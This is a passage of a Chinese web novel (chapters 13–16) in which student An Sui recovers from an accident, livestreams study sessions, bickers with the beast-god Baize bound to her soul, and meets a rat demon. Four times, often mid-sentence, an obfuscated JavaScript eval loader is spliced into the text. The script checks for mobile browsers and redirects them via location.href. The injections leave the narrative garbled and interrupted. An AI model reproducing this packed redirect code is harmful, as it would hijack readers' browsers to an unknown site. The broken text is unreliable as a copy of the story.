“你们好,谢谢你们帮忙照顾小随。”赵素兰擦了擦眼泪。 “应该的,您不用客气。”三人连连摆手,还有点不好意思。 “小随啊,你妈妈昨晚接到警察的电话,非要昨天就赶过来,我跟她说晚上没到锦城的高铁她才熬到早上走,你一个人在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵素兰这么多年并没有完全靠对方,而是自己开了个裁缝铺。 说是裁缝铺还不如说是在镇上集市租了个摊位,卖点针线之类的小东西,也能帮人缝补。她平常就寄住在姐姐家,每个月给一千的生活费。 安随去上大学的钱,是赵素兰一针一线缝补出来的。 平时两人很少通话,因为要省话费。 中午的时候,赵素兰说要请宿舍的几人吃饭,三人说还有事便离开了,赵素兰便点了三份盒饭,一份盒饭十块钱,三人就吃了三十块。 趁姨妈扔垃圾的空隙,赵素兰对安随说道:“小随,妈妈让你表哥买了下午的汽车票,看到你没什么大碍,妈妈就放心了,你自己照顾好自己,生活费不够了就跟妈妈说。” 安随声音几乎哽咽:“嗯,知道了,您也照顾好自己。” 看见赵素兰偶尔捶着腿,便问道:“您腿去医院检查了没有?” “检查啥呀?老毛病了。”赵素兰不以为然,然后岔开话题,“我下午和你姨妈去你学校转转,你上大学我都没跟你一起来,正好这次去看看。” “好。”安随应了一声。 此时,隔壁床的老人开口了。 “闺女你腿怎么回事?医生看了怎么说啊?” 赵素兰并不避讳和别人谈起自己的腿,便如实说道:“十几年前出了一场车祸一直没好全,这几年好像严重了。” “巧了,我儿子是医生,可以让他给你看看。” 13. 第 13 章 安随觉得,柳暗花明又一村说的就是现在这个场景吧。 她从不知道,无意中救的人,可能还是母亲的救命稻草。 此刻,她在心里大声呼唤白泽。 “白泽!白泽!” 依然没有得到任何回应。 想要说的话又硬生生地憋了回去。 老人的儿子名叫杜泽明,是锦城人民医院的外科医生,因为医术精湛,在锦城小有名气。 在听到父亲的话后,便给赵素兰简单检查了下,最后得出的结论是,可以做手术,后期通过康复训练,有望独立行走。 但他又补充道,具体情况还是先要做检查,最后通过检查结果才能决定做不做手术。 赵素兰听到消息已经很开心了,但一想到锦城的消费,便有些犹豫:“这里医药费很贵吧?” 安随想也没想地说道:“只要能好,再多的医药费都不算事,我会多做兼职挣钱的,给我一年时间。”安随说着,又问杜泽明,“杜医生,我妈的腿一年后做手术可以吗?” “理论上是越快越好,不过一年问题也不大。” 得到肯定的答复后,安随整颗心都落了下来。 赵素兰仍然关心医药费的问题:“我这个手术得花多少医药费啊?” “十几万吧。” 虽然有医保报销,但是异地住院报销比例低,自己出的还是多。 赵素兰有些犹豫,但安随却坐不住了,当下便道:“十几万报销下来也要不了那么多,就一年时间。” 赵素兰想了想,咬咬牙应了。 实在不够她就厚着脸皮问哥哥姐姐借点,等她恢复了再还给他们。 只是有点对不起他们,这么多年没少问他们借钱。 见两人下了决定,杜泽明也当即表态,到时候由他亲自为她动手术。 两人千恩万谢,杜泽明却渐渐摆手,并表示这算是答谢安随的救命之恩。 因为赵素兰没办法照顾安随,她的三个同学也要回学校上课,赵素兰便为她请了护工照顾她。 下午的时候,赵素兰两人便回了宁市。 安随下午又接待了一波学校来看望她的老师同学,等到点滴输完,她才迫不及待地上了速音。 几日没看,她的粉丝竟然上了十万,而直播记录也显示自从她上次临时有事后,这几天并没有直播。 怎么会涨那么多?这几天又发生了什么事? 安随去微博转了转,搜索她的直播间名。 这一搜还真让她发现了点东西。 就在她下播的第二天,有个网友发微博,说他的月考比上个月多考了近50分,排名从全班倒数跃至前十,他多次和老师确认成绩,直到看到自己的卷子才不得不相信自己的眼睛。 班上都炸开了锅,不时有人问他是怎么做到的,他十分得瑟地推荐了白泽的直播间,有人便跟着去关注了白泽,但也有人不相信,觉得他是舍不得分享心得随便找个借口,甚至还有人怀疑他作弊,不过怀疑的人很快被老师打了脸。 因为这位男生平常成绩在倒数一二三徘徊,上次考数学的时候居然比平常多了十分,身为数学老师的班主任这次便对他的关注多了些,也嘱咐其他科的老师多关注他一点,因此,这次月考他几乎是顶着所有老师的目光考的,成绩毋庸置疑。 他的进步老师自然看在眼里,成绩出来以后还当众表扬他,并让其他学生以他为榜样。 男生十分飘飘然,然后便去微博分享了自己的故事,得到一众网友赞同和支持。 毕竟他们也有和他一样的经历。 于是,白泽直播间,在互联网上小火了一把,甚至有人把白泽的画像挂在微博上,写着“信白泽,考京大”。下面一堆人打卡。 安随跟着指引进去,看到一堆人打卡京大,整个人震惊得说不出话来。 白泽的影响力越来越大是好事,这样离她的目标也更近一点。 只是白泽怎么还不醒?不会死了吧? “你在咒我?”一个慵懒的声音突然打断了安随的胡思乱想。 安随听到白泽的声音,悬着的心总算放了下来,但嘴上一点都不让步:“看你一天没说话,还以为你死了呢。” “我死了对你有什么好处?没良心的东西,要不是我,你这会儿还昏迷着呢。”白泽戳了戳她的脑袋。 “啊呀。”安随感觉有人戳了一下她,很快反应过来这个人白泽,惊讶道:“你能和我互动了?” “嗯哼。”白泽得瑟地哼了两声,伸了个懒腰。 “这两天到底发生了什么啊?”安随见他没事,便迫不及待地追问。 “急什么?让我再吸点信仰之力。” 安随便耐着性子等,只是等了十分钟也没听到白泽再开口,便又问道:“你吸完了吗?” “还没。” 半个小时后。 “还没有吗?” “快了。” 晚饭过后,依然没有得到白泽的回复,安随咬牙切齿道:“你在耍我?” “年轻人火气不要那么旺嘛。” “我不听了。” 安随说不听便不听,也不再看关于白泽的东西,而是拿了本书开始读,这书还是宋知冉她们给她带来的,怕她在医院无聊,给她解闷的。 她读得很小声,但白泽听得见。 白泽一听她念书头便开始疼,连连求饶:“好了好了不逗你了,我现在给你讲吧。” “我要看书,我不想听。”安随头也没抬。 “我求你,我求你听我讲好吗?”白泽说着便开始讲这几天发生的经过。 讲安随突然昏迷,白泽从她身体里醒来,讲他痛苦地上了一天课,在食堂虐渣,生无可恋地去上班,讲他救人的经过。 安随听到后面把书也放下了。 她竟不知道,在她昏迷的这几天居然发生了这么多事,而白泽也在认真扮演着她,即便上课上班对他来说是件非常痛苦的事。 安随有些感激,又有些感慨,没想到高傲如他,也会有这么接地气的一面。 但安随总觉得不对。 过了会儿,她才想起来哪里不对。 安随阴恻恻道:“你不是说灵魂契约没有副作用吗?” “是,啊。”白泽有些心虚,声音也变小了。 “那我那天为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615731|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会昏迷?” “这个……”白泽尴尬一笑,“可能因为你体质太差了吧。” “我体质再差痛经也没昏迷过,你一来就严重了。” 白泽只能嘿嘿一笑。 “还有什么其他副作用吗?”安随叹气,认命道。 “可能,大概没有了吧,我也不确定。” “什么叫你也不确定?”安随都震惊了,她这是遇到了个什么神啊?这么不靠谱? 白泽解释道:“因为我是第一次和人类签订灵魂契约,业务不熟练,而且我本来灵魂就不全,谁知道还有什么?” “行吧。”安随不再追问下去,反正再问也改变不了什么,只能走一步看一步了。 过了会儿,安随又问:“那天你为什么去那条街?我回学校并不会经过那里。” 白泽说到这里就叹气:“因为我感知到那里有浓郁的妖气,想去打打牙祭,没想到却出了车祸。” 安随:“那你捉到妖了吗?” “没有,这不是出车祸了吗?”白泽想想就气,简直得不偿失。 安随却从话语中捕捉到了重点:“你是说这里还有妖怪?锦城什么时候那么多妖怪了?它们为什么会出现在这里?” 白泽闻言,也难得正经了一回:“人界与妖界并不互通,以前从未有妖怪出现在人界的现象,最近确实多了很多,这并不是个好现象。” “最近是什么时候?”安随指出了问题关键,“会是从你出现以后开始吗?” 白泽沉吟了一会儿:“不排除这个可能,下次遇到妖怪作乱我会留个活口问问情况。” 安随不信:“你能忍得住不吃它们?” “这点信任都没有了?”白泽怪叫一声,随后自恋道,“我好歹活了几万年,什么样的妖没见过?” “你那么厉害,还能被妖王杀了?”安随毫不留情地戳他的伤口。 “今非昔比啊今非昔比。”白泽不愿再这个话题上扯下去,于是换了个话题,“你还准备直播吗?” “播。”安随道。 “不是不想带歪别人吗?”白泽忍不住揶揄她。 安随脸不红心不跳:“我们可是正能量的学习主播,怎么会带歪别人呢?” “你有这个觉悟就好。” 两人算是达成了共识,也都从那场争吵中走了出来。 安随只看了几分钟就没看了。因为医生说让她少看电子产品,需卧床休息。安随便跟学校和书店都请了假,接下来的几日都在医院治疗。 又过了两天,她终于可以下床行走了,她在护工的陪同下练习走路,走几步就歇息一会儿,虽然累,但总比躺在床上发霉好。 而现在,她也能多玩会儿手机了。 安随那天突然下线,也没给直播间的粉丝交代一下去向,突然那么多天没直播,粉丝们都急坏了,开始全网找人。 有的甚至寻到了c大,但终究因为没有安随的确切信息而作罢。 眼见着网络上寻人的风向愈演愈烈,安随觉得该给粉丝交代点什么。 于是这天,安随拍了张病床的照片发了条速音。配文:“人在医院,一切安好,勿念。” 14. 第 14 章 此条速音一发,一直关注安随动态的粉丝立马便发现了,纷纷在底下留言。 “白泽宝宝你终于出现了,还以为你失踪了。” “呜呜主播我好想你,没有你我做题都没动力了。” “主播什么时候开直播啊,我已经戒了其他直播间了,只等着你直播。” “一群学渣等着主播投喂。” “你们这群人,居然没有人关心主播的身体,太渣了。主播你能发速音说明能拿手机,能拿手机为什么不直播?” “医院也能直播,没关系,我们不在意背景。” “只要手能拿手机,就不影响直播。快开直播吧,我等的花儿都谢了。” “起来直播了,生产队的驴都不敢像你这么歇。” “只有我是真心关心主播的身体的,白泽姐姐你快快好起来吧!” “宝宝伤得重不重啊?需不需要妈妈给你吹吹?” 安随发完速音后,下意识地刷新了下评论区,结果就看到这些让人两眼一黑的评论。感情这群人关心她是假,想看她直播才是真。还有人叫她宝宝,她又不是小孩子了,而且,她妈妈只有一个,不是谁都能当的。 安随还是没忍住回怼了几条,粉丝这才意识到她是真生气了,这才纷纷开始关心她的病情,她这才舒服了点,但还是忍住和白泽吐槽:“这群人,怎么一点都不关心我啊。” 白泽有些无奈:“这还不关心你啊,他们不是都在全网找人了吗?我被人叫姐姐都没说啥。” 安随一听这心里便有点平衡了:“白泽姐姐,那我现在直播吗?” “可以播啊,就和大家聊聊天也行。”白泽听到她也这么叫,有些无语,“还有你能别叫我姐姐吗?” “姐姐姐姐姐姐。” “你还来劲了……” “姐姐姐姐姐姐……” “没关系,你想叫就叫吧,我是姐姐你就是白泽,这样才不辜负了粉丝的好意。” 安随纠正道:“我是安随,你才是白泽。” “我不是姐姐吗?那你只能叫白泽了。”白泽反驳道。 “……”安随一时竟不知如何反驳。 两人跟幼稚鬼一样争论了半天,最后也意识到这样很幼稚,于是都默契地转移了话题。 “咳咳,那我现在开直播了。” “咳咳,开吧。” 安随整理了下睡乱的发型,调整好姿势打开直播。 当系统提示你关注的主播开播后,还在评论区兴风作浪的粉丝立马转战直播间,开始新一轮的刷屏。 “哇,主播居然开播了,呜呜呜感动死了,在住院都不忘来投喂我们。” “主播确实在住院,这下没人质疑了吧。” “主播快快好起来吧,还等着你和我们聊天呢。” “聊啥聊,直播间挂着学习才是正事。” 系统提示:宝宝要吃饱送出1枚火箭炮。 系统提示:一条咸鱼送出1架直升机。 系统提示:锦城水哥送出1个嘉年华。 嘉年华的特效又大又酷炫,占据了整个屏幕,这还是安随收到的第一个嘉年华,价值3000元,但安随并不知道这个礼物的价值,直到看到网友的评论才知道,顿时惊了,连忙开麦道:“谢谢大家的礼物,不过太贵重了,大家还是把钱留着自己花吧,别送给我了。” 系统提示:锦城水哥送出4个嘉年华。 一连送了五个,水哥才罢手,甚至还抽出手打字:“没事,你值得送那么贵重的礼物,好好休息,这段时间就别直播了。” 这一操作直接把直播间的网友震得弹幕停顿了几秒,而后才开始刷屏。 “靠,大佬啊,膜拜!” “直播间惊现大佬,吸吸!” “主播真有几把刷子啊,把大佬都征服了。” “我决定住在直播间不走了,我要开着直播学习。” “赶紧学习,下次直播不知道啥时候了。” “快快快,把书都拿出来,学习起来!” “别刷屏了,赶紧学习吧,主播一会儿又下线了,不好逮。” 于是,直播间突然就安静了下来,连礼物特效也消失了。 安随看着如龙卷风一样来了又集体消失的粉丝,顿时哭笑不得。 他们是有多怕她跑啊。 直播间在线人数还在上升,现在已经达到了2万+,虽然和头部主播比起来不算什么,但对于安随来说却是最多的一次,而她的粉丝也涨到了25万。 此刻的直播间陷入了诡异的安静中。 安随上线本来就是和网友聊天的,结果现在没人理她,反而有点不适应,于是出言打破了沉静。 安随:“喂,你们都说说话啊,我一个人在医院无聊。” 结果依然没有人回应她。 安随:“理理我呀。” 过了会儿,才有条孤零零的评论飘过:“学习中,勿cue。” 安随都快被气笑了。 安随找不到人和她说话,便只能找白泽说:“姐姐,他们不理我了。” “没关系白泽,他们只是太怕你下线了,你可以挂着做其他事。” “好的,姐姐。” “好的,白泽。” 说完,两人又一起笑出声来。 安随觉得,和白泽这样相处下去也不错。 难得安随开一次直播,网友们开始全平台摇人,不少慕名而来的网友们看到直播间这诡异的没人刷屏的一幕,连主播也不开口说话露面,只是摄像头对着天花板,镜头里一片白,还以为进错直播间了。 这真的是那个玄学,呸,学习直播间吗? 怎么都没人讲题?没人提问? 不过在短暂的惊讶后,他们便也跟着加入。 管它为什么没人互动,只要学习效率高,其他的什么也不在意。 安随看了下她的打赏,这么多天过去,她还一直未提现,现在已经集攒到了一万多元。这是扣除平台的分成以后的金额,但离母亲的手术费费还有些距离,还得继续努力。 想着过两天就得交医药费,安随分两天把打赏提了出来,提的时候还扣了她不少税,心里微微疼了一下,不过她很快释然了,扣得多说明她赚得多啊。 安随存了一万一年的定期,剩下的都放在活期里吃利息。搞定这一切后,安随看到自己的余额,心里总算没那么慌了。 手中有粮,心中才不慌。 这天下午安随一直挂着直播间,连吃饭的时候也没退出,直到手机快没电了才下线,也算是犒劳一下一直等着她的粉丝。 临走时又被直播间网友威胁一通,让她务必交出下次上线时间,安随随便说了个几天后的时间便下线了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615732|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>接下来的几天安随都在医院治疗,在做了一系列检查后医生判定能出院了,这才跟室友说了出院时间。 安随出院的那天,除了孟与有事没来,另外两人都来接她了。 蒋栗看到安随,一巴掌便拍在安随胳膊上:“恭喜姐妹,终于解放了!” 安随被她拍得往后缩了缩,故作哀怨:“你轻点,疼。” “啊,不好意思,是我手重了,忘了你胳膊有伤了。”蒋栗不好意思地吐吐舌头。 宋知冉看到这一幕,有些感慨,安随比以前开朗了许多。 这是好事。 想到她直播间的盛况,宋知冉意识到,安随绝不会寓居于此,她会有更广阔的天地。 办完出院手续后,三人回了学校,路上碰到不少熟面孔都很关心安随,纷纷来询问她的状况,安随都耐着性子回应他们。等到了宿舍的时候,他们已经在回宿舍的路上停留了半个小时。 安随揉了揉酸痛的双腿,暗暗发誓腿好了以后得加强锻炼了。 蒋栗将安随的东西方放好,宋知冉搀扶着她坐在凳子上,叹了口气:“你刚出院,和他们说那么多做什么?” 安随也无奈:“人家也是关心我,我怎么好拂了他们的心意?” 宋知冉知道安随是个主意强的人,便也没再多说什么,只让她好好休息,她和蒋栗给她打饭回来。 安随把她的饭卡递给宋知冉,并嘱咐道:“帮我打份20块的,谢谢。” 宋知冉惊讶地看了她一眼,却什么也没说,接过饭卡后便和蒋栗离开了。 路上,宋知冉问蒋栗:“你有没有觉得安安比以前花钱大方多了?” “这是好事呀,她现在直播有打赏了,是得好好犒劳自己。”蒋栗不以为意道。 但宋知冉却觉得,安随并不只是单纯的想犒劳自己,她就是和以前不一样了。 宿舍里就剩下安随一个人。 安随问白泽:“我对你好吧?给你打20的饭菜。” “你现在可是有存款的人,只花20块会不会太抠搜了?”白泽还想挣扎一下,被安随无情地按了下去,“你都说是存款了,当然得存着。” “你未来可是拥有一个亿的女人,不要那么小气嘛。” “你都说是未来了,我现在可不是。” 白泽见占不了便宜,便开始转移话题:“我可是高贵的神兽,凡人的食物只能尝尝味,想要吃饱还是得吃妖怪,什么时候带我出去觅食啊?” 安随面无表情:“随时都可以,只要你不怕我被妖怪吃掉。” “有我在,谁敢吃你?” “那我也是个刚出院的女人,战斗力大不如前,你不怕被吃掉也可以。” 白泽抓狂:“这不行那不行,到底我什么时候才能吃到妖怪?” 安随:“别着急,总会有妖怪找上门的。” 安随说得没错,晚上的时候,一只长相奇怪的东西趴在宿舍阳台的窗外,目光一动不动地盯着里面。 安随的五感并没有因为车祸受损,甚至比之前还敏锐,一下子就捕捉到了不寻常的气息。 此时,另外两位室友都已熟睡,安随本来也睡下了,却仍然被窗外细微的动静惊醒了。 有妖怪在外面。 这是安随的第一反应。 白泽有口福了。 这是安随的第二个念头。 15. 第 15 章 安随不动声色地观察着那东西的一举一动,只见它在窗户上趴了一会儿,见里面没有动静,柔软的爪子突然露出锋利的指甲,随后在玻璃上轻轻一划,玻璃上很快露出划痕。那东西的动作很轻,并没有惊醒安随的室友,但安随却坐不住了,生怕下一秒它就从窗外钻进来。 “姐姐,醒醒。”安随呼唤白泽。 但白泽正睡得香,并没有听到她的呼喊。 安随叫了几声也没听到回应,于是轻手轻脚地下了床。 不能让那东西进屋! 这是安随唯一的想法。 安随打着手电筒,一瘸一拐地往阳台上走去。 那东西正认真地破着窗,眼前却突然出现光亮,抬眼便见一个人影正拿着手电筒一动不动地照着它。它吓得停下手中的动作,随后双脚一放,整个身体从窗户上掉了下去,“啪嗒”一声响。 安随大着胆子打开窗户,便看到它掉在窗户外的空调柜机上,与安随正四目相望。 那小东西四腿一蹬,就要逃跑,却因为太滑了,摔在了空调柜机上,爬了好几次都没爬起来。 安随觉得有趣,先前的害怕消失得无影无踪,取而代之的是好奇。只见她伸出半个身体拧着那东西的脖子,便将它拧进了屋,只见它四肢不停地晃动,想要挣脱安随的束缚却怎么也挣脱不了。 “放开我!”那东西突然开口了。 安随却更觉得惊奇了,原来那么小的妖怪也能开口说话。 “你是什么东西?为什么到这里来?”安随问它。 “我叫吱吱,来这里找大王。”吱吱意识到自己说漏嘴,连忙捂住嘴,拼命摇晃着身体,想要挣脱安随的束缚。 “你答应我不跑,我就把你放下来。”安随和它商量。 吱吱连连点头,示意自己不跑。 安随这才把它放下来。 一人一妖坐在阳台上,就着月光和手电筒的光,相互打量对方。 吱吱长得像老鼠又比老鼠个头要大,听它诉说它是寻着味道来找它的大王的。 安随问它:“你大王是谁?为什么会找到我这里?” 吱吱指着她:“你身上有我大王的味道,我不会闻错的。吱吱的鼻子是整个妖界最灵敏的,一路从妖界闻到这里。” 安随猜它说的大王应该就是白泽,想到之前和白泽讨论过妖界的变故,安随便问了出来:“妖界发生了什么事情?为什么人界最近多了很多妖怪?” 吱吱一提到这便叹气:“自从大王死掉以后,妖界乱成一锅粥,曾经被大王庇护的小妖被妖王的人追杀,死的死逃的逃,早就没剩下多少了。” “那你们是怎么逃到人界的?人妖两界不是不互通吗?”安随追问道。 “我是跟着他们逃出来的,我也不知道屏障怎么打开了,很多妖怪都从那里逃了出来。” “你是说有很多妖怪?有多少?”安随说话的声音有点抖,声音不自觉拔高,又很快压了下去。 如果照它说的那样,人界岂不是要乱套了? “我也不知道,但是应该不少。不过妖王也派妖卫围剿逃跑的妖怪,我朋友就是被他们杀掉的。”吱吱说到这里,声音开始抽噎,豆子般大小的眼睛里挤出几滴眼泪,看着确实很伤心。 安随见它很伤心,也不好继续追问,于是从兜里抽出纸递给它。 吱吱双爪接过,擦了擦眼角的泪水,才继续说道:“现在只有大王才能拯救妖界,我在你身上闻到了他的气息,他是在你身体里吗?能让他出来一下吗?我有很多话想和他说。” 安随不好和它说它的大王此刻正呼呼大睡,压根叫不醒,但也不好太扫它兴,于是说道:“你的大王现在有事不能出来与你相见,你可以告诉我,我再转告他。” 吱吱想了想,便答应了,于是说道:“那请你转告他,他曾经的追随者正在找他,希望他能早日现身,带领我们攻回妖界,把妖王赶下台!我们已经受够了妖王的暴政!必须反抗!反抗!” 吱吱越说越激动,已经开始手脚并用,安随怕它翻个底朝天,连忙拉住它,应道:“好好好,我一定帮你转告到位。” 吱吱见她答应了,这才慢慢稳住情绪,最后又掉出一滴眼泪:“我找到大王了,妖界有救了!我回去一定告诉他们这个好消息!”说着,便一蹦一跳地上了窗台,却忘了有玻璃,随后“吧唧”一声,整个妖身掉在了地上一动不动。 安随见它好一会儿都没动静,连忙去查看它的状况,刚一碰到它,便见它突然弹跳起来,吓了安随一跳。 安随怕它又撞在玻璃上,连忙打开窗户,示意它从那里出。 吱吱回头感激地看了安随一眼,随后一蹦一跳地出了窗户。 安随总算松了口气。 这小东西,怎么看着不太聪明的样子? 不愧是白泽的追随者,和正主一个样。 “好吵,你在和谁说话?” 此时,白泽终于醒了,见安随站在阳台上吹风,声音都拔高了:“你不会想不开要跳窗吧?我告诉你你要跳可别拉着我啊,我还想多活几年呢。” 安随恨不得给他一锤,但无奈对方没有实体,只能言语输出:“你放心,你想死我都不会想死的,好死不如赖活着。” “呸呸呸,什么死不死的,我还要复活呢,别咒我。”白泽见她不是想跳窗,这才松了口气。他复活全靠她了,她要是死了,他先前所有的努力岂不是白费了? “你的追随者找到你了,说他们都在等你回去,带领他们杀回妖界呢。”安随把吱吱的话转告给白泽。 “我的追随者?”白泽有些懵了。崇拜他的妖都追到人界来了? “它叫吱吱,是只大老鼠。”安随解释道。 “吱吱?不认识。”白泽一点印象都没有。 “但它说是闻到你的味道找过来的,你真不认识吗?” 白泽想了会儿,确实对这个名字没有印象,于是道:“可能确实是我的追随者吧,毕竟我可是白泽,有追随者很正常。” 安随见他又开始扯,知道他没当回事,语气便严肃了几分:“我听吱吱说,妖界现在乱套了,很多妖怪都逃到了人界,妖王也派妖卫在追杀逃到人界的妖怪,你要不要见见他?” 白泽闻言,也难得变得正经起来:“怪不得最近碰到妖怪的几率那么大,原来是这么回事。只是我对当初发生的事情一点印象都没有,看来确实得见见他们了。” “我要怎么见他们?”白泽问。 安随这才想起来没有问吱吱的联系方式,只能等着它再次找上门了。 安随打了个哈欠:“我要睡觉了,困了。” “那你好好睡觉,反正你请了假,可以等到下周一才上课,趁这段时间多多直播,我才能早点恢复。” 白泽连忙催促她去睡觉。 “你还是人吗?我刚出院就让我直播?”安随都想抽他两下。 白泽:“我本来就不是人。” 安随一时不知道怎么接话了,但她只想睡觉,什么也不想干。刚出院头还有些晕,身上的挫伤还未完全好,她只想好好休息。 “反正你都只是挂着直播,你可以做其他事去,他们不需要你直播做什么,只要你开着直播就好。” 一说到这个,安随便有些无奈。 她明明是个学习主播,怎么她的直播间就成了别人挂玄学的地方了? 安随觉得,必须矫正过来,免得哪天真被封了。 安随拒绝了他的提议,并且上床进入了梦乡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615733|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 距离她说的日期还有五天,说是那天就是那天,绝不会早一分钟直播。 接下来的几天安随就在宿舍里休息,一日三餐让室友帮忙打上来,有时候去楼下转转,但不能走远了,只能走一小段距离就得回来,中间又去医院复诊,在医生说她可以正常出行后,她才放心下来。 安随把书店的兼职辞了,虽然医生说她可以正常出行,但在书店站一天还是有点吃不消,索性辞了,专心直播。 周六的时候,刚好是她直播的日子,一直到晚上七点,她才磨磨蹭蹭地开了直播。 那么多天过去,她的粉丝已经突破了50万大关,距离百万还有一半的路程。 等了十来天的网友等的身上都快长蘑菇了,见她终于上线,急不可耐地刷了一波礼物和评论。 “主播你终于出现了,我等的心都快凉了!你一出现,我的心又火热起来!” “呕,咋那么肉麻!主播这是恢复了吗?终于可以直播了!可以学习了!耶!” 安随看着眼花缭乱的特效,辨认网友的评论都要好一会儿才看清,看得安随眼睛疼,索性把礼物特效关了。 安随:“大家晚上好呀,好久不见。” “主播晚上好呀,身体恢复得如何?” 安随:“还可以,能正常上学啦。” “那就好,那我们就去学习啦,你自便哈。” “同学们刷完礼物就滚去学习!绝不纠缠主播一分钟!” “不要再聊天了!你们聊天的时间浪费了多少学习的资源!” “主播88,我们去学习了!” 安随还想说点什么,却被管理员制止了:“主播别说话,我要去学习了,你自己管理直播间吧。” 安随:“……” 合着她就是一个多余的人? 安随还想挣扎一下:“给我一分钟的时间,我说完就闭麦。” “你现在就可以闭麦了。” 安随:“我觉得我得强调一下,我这是学习直播间,不是玄学直播间,你们想靠挂玄学考985的还是算了吧。” “没有人说这不是学习直播间啊,我们不都在学习吗?不和你说了,你自己该干嘛干嘛去,别影响我们学习。” 安随:“……” 安随:“但你们看看其他学习直播间也不像我这里啊,哪有不让主播说话的?这不反过来了?” “所以我们不去其他人那里啊,因为你特殊啊。” 安随:“其实,我就想讲讲题而已,没人问我反而不适应了。” “你不需要适应,只需要闭嘴就行了。” 安随:“……” 安随还想说什么,却被刷屏整无语了。 “一分钟到了,别说话了。” “一分钟到了,别说话了。” …… “全体闭麦,谁再说话谁变小狗。” 安随都快被气笑了。 这都是一群什么人啊? 白泽却看得直乐呵:“认命吧,他们就想学习而已,别阻挡他们学习的热情啊。” 安随不能怼网友,还不能怼白泽了? 只见她冷哼一声:“是你想多吸点信仰之力吧?” “这样不好吗?”白泽反问道,“你我本一体,我的不就是你的?” 安随被他的乱比喻搞得无语了:“谁和你一体了?” “我没和你说过吗?”白泽挠了挠头,“和我绑定灵魂契约以后,我们寿命也共享了呀,你活多久我就活多久,反过来,我活得越久你就活得越久。” “安随,你是我这几万年以来,绑定的第一个,也是唯一一个灵魂契约者。” “如果我能复活,你将和我共享这永恒的生命。” 16. 第 16 章 “那我不成了老不死的了?”安随被自己这个想法逗笑了,但一想到自己有可能拥有永恒的生命便有些好奇,漫漫时间长河里,该做点什么才不至于太无聊? 安随这么想,便也这么问出来了:“你活了那么多久,不觉得很无聊吗?每天都怎么打发时间啊?” 白泽被她的反应整无语了,这怎么和他想象中的画面不一样?任何人听到自己能拥有永恒的生命不是应该激动得说不出话来吗?谁像她那样担心不知道怎么打发时间啊? 白泽自闭,不想搭理她。 安随却被激起了兴趣,不停追问:“你以前在妖界的时候没什么娱乐活动,每天的日常是什么?每天重复一样的日子不无聊吗?” 白泽依旧不理。 “你有几个聊得来的朋友吗?每天和他们一起出去玩吗?比如一起打妖怪,一起去看看妖界的大好山河,不过我猜妖界没什么好玩的地方,肯定没人界好玩,等的放寒假了,我带你去华国的各个地方转转,让你看看华国到底有多美。” 白泽想象那个画面,竟然觉得有点期待。不过朋友嘛……倒是有一个,只不过他身陨以后便不知道他的去向了,也不知道他在妖界过得怎么样,有没有被妖王的人追杀。 “你谈过恋爱吗?那么多年你身边就没有一个陪伴你的母兽吗?那兽生多无聊啊。” 白泽终于忍不住了:“你能闭嘴吗?我可是神,不是那些随时都能发情的妖。” “原来你和他们不一样啊。”安随恍然大悟,“那你就是性冷淡了,我跟你讲,这是病得治,要正视自己的生理需求,不能逃避,不然会憋坏的。” 白泽反问她:“你哪来的那么多大道理,一套一套的,难道你对这个很在行?” 安随嘿嘿一笑:“没吃过猪肉总见过猪跑吧。” 白泽:“我吃过猪肉,但是确实没见过猪跑,猪妖这种低等的妖怪还不配出现在我面前。” 安随:“……我只是打个比方而已,意思就是没做过但是见过。” 白泽不解:“你在哪里见过?你还有这癖好呢?我跟你讲,偷窥别人可不是什么好习惯,得改。” 安随被他闹了个大红脸,辩驳道:“现实肯定没见过啊,但是这种东西,电视里,小说里不都会写吗?你脑子里想些什么乱七八糟的东西啊?” “你看的都是什么电视小说啊?”白泽一脸嫌弃,“以后别看这些了,满脑子的黄色废料,人都变傻了。” 安随不服气:“你才傻了,俊男靓女很赏心悦目的好吗?” 白泽不信:“能有我好看?” 安随:“你长什么样我都不知道,不过肯定比你好看。” 白泽不服气:“你看的什么电视剧,我倒要看看到底比我好看在哪里。” 安随也来劲了,于是打开她最近才刷到的一部叫《满满仙途》的仙侠剧,主演是当下很火爆的流量小花,剧里和男一男二有感情纠葛,最后还是和男一在一起了。这部剧主讲的并不是爱情,而是主角吴满为了反抗命运不公,逆天改命的故事,非常励志。当然里面的感情线也很好磕,和男一男二都有CP感,网上甚至还建了两个CP的超话,人气都很高。 男主和女主也有吻戏,非常欲,看得安随心花怒放,都想立马谈个恋爱了,但是一出了剧便回归理智。 